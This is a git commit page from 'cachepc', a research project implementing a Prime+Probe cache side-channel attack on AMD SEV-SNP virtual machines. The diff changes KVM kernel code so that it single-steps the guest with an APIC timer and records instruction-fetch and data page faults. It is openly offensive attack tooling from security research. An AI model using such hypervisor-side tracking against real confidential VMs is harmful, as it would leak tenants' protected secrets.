cachepc

Prime+Probe cache-based side-channel attack on AMD SEV-SNP protected virtual machines
git clone https://git.sinitax.com/sinitax/cachepc
Log | Files | Refs | Submodules | README | sfeed.txt

commit c308b0d3af8c052cd3dbe22143435917da6e7988
parent d4ac8d64359fcaf25a65196c83ba0a091f645a3b
Author: Louis Burda <quent.burda@gmail.com>
Date:   Fri,  4 Nov 2022 14:56:50 +0100

Enable tracking data fault after instruction fetch

Diffstat:
Mcachepc/cachepc.c | 13+------------
Mcachepc/cachepc.h | 22++++++++++++++++++----
Mcachepc/kvm.c | 16++++++++++++----
Mcachepc/mmu.c | 66++++++++++++++++++++++++++++++++----------------------------------
Mcachepc/sevstep.c | 4++++
Mtest/sevstep.c | 6++----
6 files changed, 69 insertions(+), 58 deletions(-)

diff --git a/cachepc/cachepc.c b/cachepc/cachepc.c @@ -1,9 +1,6 @@ #include "cachepc.h" #include "uapi.h" -#include "../../include/asm/apic.h" -#include "../../include/asm/irq_vectors.h" - #include <linux/kernel.h> #include <linux/types.h> #include <linux/slab.h> @@ -315,18 +312,10 @@ cachepc_update_baseline(void) } } -void -cachepc_apic_oneshot(uint32_t interval) -{ - pr_warn("CachePCTest: Setting up APIC oneshot\n"); - native_apic_mem_write(APIC_LVTT, LOCAL_TIMER_VECTOR | APIC_LVT_TIMER_ONESHOT); - native_apic_mem_write(APIC_TDCR, APIC_TDR_DIV_2); - native_apic_mem_write(APIC_TMICT, interval); -} - void __attribute__((optimize(1))) // prevent instruction reordering cachepc_prime_vcall(uintptr_t ret, cacheline *cl) { + cachepc_apic_oneshot(150); cachepc_prime(cl); asm volatile ("mov %0, %%rax; jmp *%%rax" : : "r"(ret) : "rax"); } diff --git a/cachepc/cachepc.h b/cachepc/cachepc.h @@ -3,6 +3,9 @@ #include "asm.h" #include "uapi.h" +#include "../../include/asm/apic.h" +#include "../../include/asm/irq_vectors.h" + #define L1_CACHE 0 #define L2_CACHE 1 @@ -93,8 +96,6 @@ void cachepc_save_msrmts(cacheline *head); void cachepc_print_msrmts(cacheline *head); void cachepc_update_baseline(void); -void cachepc_apic_oneshot(uint32_t interval); - void cachepc_prime_vcall(uintptr_t ret, cacheline *cl); void cachepc_probe_vcall(uintptr_t ret, cacheline *cl); @@ -113,6 +114,9 @@ static inline void cachepc_victim(void *p); __attribute__((always_inline)) static inline uint64_t cachepc_read_pmc(uint64_t event); +__attribute__((always_inline)) +static inline void cachepc_apic_oneshot(uint32_t interval); + extern cpc_msrmt_t *cachepc_msrmts; extern size_t cachepc_msrmts_count; @@ -124,8 +128,10 @@ extern uint64_t cachepc_retinst; extern bool cachepc_single_step; extern bool cachepc_track_single_step; -extern uint64_t cachepc_last_fault_gfn; -extern uint32_t cachepc_last_fault_err; +extern bool cachepc_inst_fault_avail; +extern uint64_t cachepc_inst_fault_gfn; +extern bool cachepc_data_fault_avail; +extern uint64_t cachepc_data_fault_gfn; extern cache_ctx *cachepc_ctx; extern cacheline *cachepc_ds; @@ -271,3 +277,11 @@ cachepc_read_pmc(uint64_t event) return res; } + +void +cachepc_apic_oneshot(uint32_t interval) +{ + native_apic_mem_write(APIC_LVTT, LOCAL_TIMER_VECTOR | APIC_LVT_TIMER_ONESHOT); + native_apic_mem_write(APIC_TDCR, APIC_TDR_DIV_2); + native_apic_mem_write(APIC_TMICT, interval); +} diff --git a/cachepc/kvm.c b/cachepc/kvm.c @@ -27,12 +27,16 @@ EXPORT_SYMBOL(cachepc_retinst); bool cachepc_single_step = false; bool cachepc_track_single_step = false; -uint64_t cachepc_last_fault_gfn; -uint32_t cachepc_last_fault_err; +bool cachepc_inst_fault_avail = false; +uint64_t cachepc_inst_fault_gfn = 0; +bool cachepc_data_fault_avail = false; +uint64_t cachepc_data_fault_gfn = 0; EXPORT_SYMBOL(cachepc_single_step); EXPORT_SYMBOL(cachepc_track_single_step); -EXPORT_SYMBOL(cachepc_last_fault_gfn); -EXPORT_SYMBOL(cachepc_last_fault_err); +EXPORT_SYMBOL(cachepc_inst_fault_avail); +EXPORT_SYMBOL(cachepc_inst_fault_gfn); +EXPORT_SYMBOL(cachepc_data_fault_avail); +EXPORT_SYMBOL(cachepc_data_fault_gfn); cache_ctx *cachepc_ctx = NULL; cacheline *cachepc_ds = NULL; @@ -671,6 +675,10 @@ cachepc_kvm_init(void) cachepc_single_step = false; cachepc_track_single_step = false; + cachepc_data_fault_avail = false; + cachepc_data_fault_gfn = 0; + cachepc_inst_fault_avail = false; + cachepc_inst_fault_gfn = 0; cachepc_msrmts_count = L1_SETS; cachepc_msrmts = kzalloc(cachepc_msrmts_count * sizeof(cpc_msrmt_t), GFP_KERNEL); diff --git a/cachepc/mmu.c b/cachepc/mmu.c @@ -6,40 +6,38 @@ static void sevstep_uspt_page_fault_handle(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault) { - const int modes[] = { - KVM_PAGE_TRACK_WRITE, - KVM_PAGE_TRACK_ACCESS, - KVM_PAGE_TRACK_EXEC - }; - bool was_tracked; int err; - int i; - pr_warn("CachePCTest: Page fault %llu\n", fault->gfn); - - was_tracked = false; - for (i = 0; i < sizeof(modes) / sizeof(modes[0]); i++) { - if (kvm_slot_page_track_is_active(vcpu->kvm, - fault->slot, fault->gfn, modes[i])) { - pr_warn("CachePCTest: Page attrs %i %i %i\n", - fault->present, fault->write, fault->user); - sevstep_untrack_single(vcpu, fault->gfn, modes[i]); - if (!cachepc_track_single_step) - sevstep_track_single(vcpu, fault->gfn, modes[i]); - was_tracked = true; - } - } + if (kvm_slot_page_track_is_active(vcpu->kvm, + fault->slot, fault->gfn, KVM_PAGE_TRACK_ACCESS)) { + pr_warn("Sevstep: Tracked page fault (gfn:%llu err:%u)\n", + fault->gfn, fault->error_code); + //pr_warn("Sevstep: Tracked page fault attrs %i %i %i\n", + // fault->present, fault->write, fault->user); + + sevstep_untrack_single(vcpu, fault->gfn, KVM_PAGE_TRACK_ACCESS); - if (was_tracked) { - pr_warn("Sevstep: Tracked page fault (gfn:%llu)", fault->gfn); if (cachepc_track_single_step) { - cachepc_last_fault_gfn = fault->gfn; - cachepc_last_fault_err = fault->error_code; - cachepc_single_step = true; + if (cachepc_single_step && cachepc_inst_fault_avail) { + /* faulted during single step => data address */ + pr_warn("Sevstep: Got data fault gfn:%llu\n", fault->gfn); + + BUG_ON(!cachepc_inst_fault_avail); + cachepc_data_fault_gfn = fault->gfn; + cachepc_data_fault_avail = true; + } else { + /* first fault from instruction fetch */ + pr_warn("Sevstep: Got inst fault gfn:%llu\n", fault->gfn); + + cachepc_inst_fault_gfn = fault->gfn; + cachepc_inst_fault_avail = true; + cachepc_data_fault_avail = false; + cachepc_single_step = true; + } } else { - err = sevstep_uspt_send_and_block(fault->gfn, - fault->error_code); - if (err) pr_warn("Sevstep: uspt_send_and_block failed (%d)\n", err); + sevstep_track_single(vcpu, fault->gfn, KVM_PAGE_TRACK_ACCESS); + if (sevstep_uspt_send_and_block(fault->gfn, 0)) + pr_warn("Sevstep: uspt_send_and_block failed (%d)\n", err); } } } @@ -50,7 +48,7 @@ sevstep_spte_protect(u64 *sptep, bool pt_protect, enum kvm_page_track_mode mode) u64 spte; bool flush; - pr_warn("Sevstep: spte_protect\n"); + // pr_warn("Sevstep: spte_protect\n"); spte = *sptep; if (!is_writable_pte(spte) && !(pt_protect && is_mmu_writable_spte(spte))) @@ -85,7 +83,7 @@ sevstep_spte_protect(u64 *sptep, bool pt_protect, enum kvm_page_track_mode mode) } flush |= mmu_spte_update(sptep, spte); - pr_warn("Sevstep: spte_protect flush:%i\n", flush); + // pr_warn("Sevstep: spte_protect flush:%i\n", flush); return flush; } @@ -117,7 +115,7 @@ sevstep_kvm_mmu_slot_gfn_protect(struct kvm *kvm, struct kvm_memory_slot *slot, protected = false; - pr_warn("Sevstep: mmu_slot_gfn_protect gfn:%llu\n", gfn); + // pr_warn("Sevstep: mmu_slot_gfn_protect gfn:%llu\n", gfn); if (kvm_memslots_have_rmaps(kvm)) { for (i = min_level; i <= KVM_MAX_HUGEPAGE_LEVEL; ++i) { @@ -128,10 +126,10 @@ sevstep_kvm_mmu_slot_gfn_protect(struct kvm *kvm, struct kvm_memory_slot *slot, protected |= sevstep_tdp_protect_gfn(kvm, slot, gfn, min_level, mode); } else { - pr_warn("CachePC: Tracking unsupported!\n"); + pr_err("CachePC: Tracking unsupported!\n"); } - return true; + return protected; } EXPORT_SYMBOL(sevstep_kvm_mmu_slot_gfn_protect); diff --git a/cachepc/sevstep.c b/cachepc/sevstep.c @@ -62,6 +62,8 @@ sevstep_track_single(struct kvm_vcpu *vcpu, gfn_t gfn, srcu_read_unlock(&vcpu->kvm->srcu, idx); + if (!slot) pr_err("Sevstep: Failed to track gfn %llu\n", gfn); + return slot != NULL; } EXPORT_SYMBOL(sevstep_track_single); @@ -84,6 +86,8 @@ sevstep_untrack_single(struct kvm_vcpu *vcpu, gfn_t gfn, srcu_read_unlock(&vcpu->kvm->srcu, idx); + if (!slot) pr_err("Sevstep: Failed to untrack gfn %llu\n", gfn); + return slot != NULL; } EXPORT_SYMBOL(sevstep_untrack_single); diff --git a/test/sevstep.c b/test/sevstep.c @@ -30,8 +30,6 @@ #define ARRLEN(x) (sizeof(x) / sizeof((x)[0])) #define MIN(a,b) ((a) > (b) ? (b) : (a)) -#define SAMPLE_COUNT 20 - #define TARGET_CORE 2 #define SECONDARY_CORE 3 @@ -528,7 +526,7 @@ main(int argc, const char **argv) if (ret == -1) err(1, "ioctl MEASURE_BASELINE"); faultcnt = 0; - while (faultcnt < SAMPLE_COUNT) { + while (faultcnt < 20) { if (monitor(&kvm_with_access)) break; } @@ -561,7 +559,7 @@ main(int argc, const char **argv) if (ret == -1) err(1, "ioctl TRACK_SINGLE_STEP"); faultcnt = 0; - while (faultcnt < SAMPLE_COUNT) { + while (faultcnt < 100) { if (monitor(&kvm_with_access)) break; }